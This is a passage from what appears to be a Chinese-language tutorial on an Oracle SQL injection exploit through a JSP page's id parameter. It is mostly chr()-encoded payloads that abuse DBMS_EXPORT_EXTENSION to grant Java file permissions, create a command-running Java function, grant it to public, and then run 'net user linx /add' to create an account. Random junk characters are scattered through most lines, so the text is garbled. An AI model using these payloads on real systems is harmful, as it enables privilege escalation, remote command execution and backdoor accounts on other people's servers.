2 t) U1 Z1 W! ^( ?& Lchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||- ^2 }& N8 ?- v5 I+ u
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
|/ ^3 V" @: x2 |3 z: M V,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual: `. b5 _ u2 [/ f0 z
2 H9 x9 x$ M( N+ N+ v( G/ m+ @$ F* s
)/ O) b* R! c5 Z) V7 w; E- |9 E
& L! S4 z; y5 d! V& o------------------------------. x' \/ V- s' k3 K9 b0 y
4 R% e- e% j$ F
2.赋Java权限- n3 m1 P! Q4 t' k
/xxx.jsp?id=1 and chr(49)<>chr(50)||(
" S& A6 m/ g2 S) M& @; Q6 u( N2 b4 H( Y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; W' x8 p. i# c" }3 Q4 Hchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
4 r) n6 Z& f# p) z6 Rchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
5 M" e; {$ Y1 g) ?: D- Xchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. z n0 U6 ?5 Z( t: p" P
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
7 y4 L/ H% C# Z' S/ E5 bchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||3 _, U* i1 e7 [. o
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
& A# V8 @; S4 F0 S1 cchr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||; `0 e9 ]9 v8 j7 k0 F: r- i; H
chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
$ q0 c, O' U& `8 c1 X- o3 hchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)9 ^1 s" l( u( s ?! `% e3 Y) I
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual! i! m' t. Q: f4 b7 K5 B4 p- l
- L6 U! O5 K0 L. l) h8 T)3 }% z4 B' r' r: _
$ y0 D3 \5 v1 M+ Hreadfile函数的ascii版就不写了,见谅。* g! I- D1 R8 h" a4 [5 b# o
% }9 R3 v# g( _
3.创建函数: I* P8 t: r- l2 T' L! t
8 v' I# d8 z8 z4 \/ \, A8 t
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
; C3 h8 ~+ L3 h* O4 O/ Z: t8 ochr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
: n& ?" K- E: @ f+ |. vchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
4 |0 d/ i$ _- _; e: H8 J: v, r m2 wchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||3 m+ l! k) w& q2 J% \) p
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||' j4 Y1 i6 P$ W/ C( I2 I
chr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||7 @2 E5 N9 c4 c" c, u1 n; L' t
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
5 Z% n$ V+ g$ V: I- Echr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||
- v) i/ `; O' Ichr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||# E7 K; O2 q0 M' d2 `
chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||& B# y* v5 g& C5 @
chr(59)||chr(45)||chr(45), \/ i( d4 v: U7 ~! f
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
7 ~! o i% a0 n$ V' _: I; e' g- E! c, a0 E
7 p5 m' x( Q) E$ l8 Q
8 V5 C" ]* j2 h4.赋public执行函数的权限
4 V5 H8 |" b# Y9 K, d& b2 w" F6 s! j8 \. a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),2 p Z4 ]9 b5 e; e, ^, t
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||- a2 T6 k* g) K6 k% D
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||- Y8 A8 B1 J6 p( B% V
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||+ M* U/ u) ]3 o# K, |
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||9 e- k* y2 {1 b2 g" z- [7 \& M
chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||. s" _; y O# u1 \1 ~
chr(59)||chr(45)||chr(45)
) q# ~# @. S, `2 [,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
. A8 V h- @0 v" w
/ [, e. {2 e( d) k; O5 S f0 l5 x; ]
+ E; m. n, |/ c+ ]$ e% ?! }5.执行命令:
8 f$ a4 Z) P* Y5 u7 Y& L
# M/ q( k/ b8 P6 A5 T/xxx.jsp?id=1 and chr(49)<>chr(32)||() {% L3 U$ C7 T$ l
select sys.LinxRunCMD('cmd /c net user linx /add') from dual* x. T) R* T7 ~% c( g
), P* N0 s7 ^) f0 @: }- F- Z
0 j- z' u# Q, J: B3 B- p# A即
3 n. x7 j( R& A2 q! o+ I5 v/xxx.jsp?id=1 and chr(49)<>chr(32)||(
: ^- S3 z9 J. g ?1 oselect sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual/ o8 s2 h% D w" R& P
)% O* `7 }/ t; a/ ~/ D
|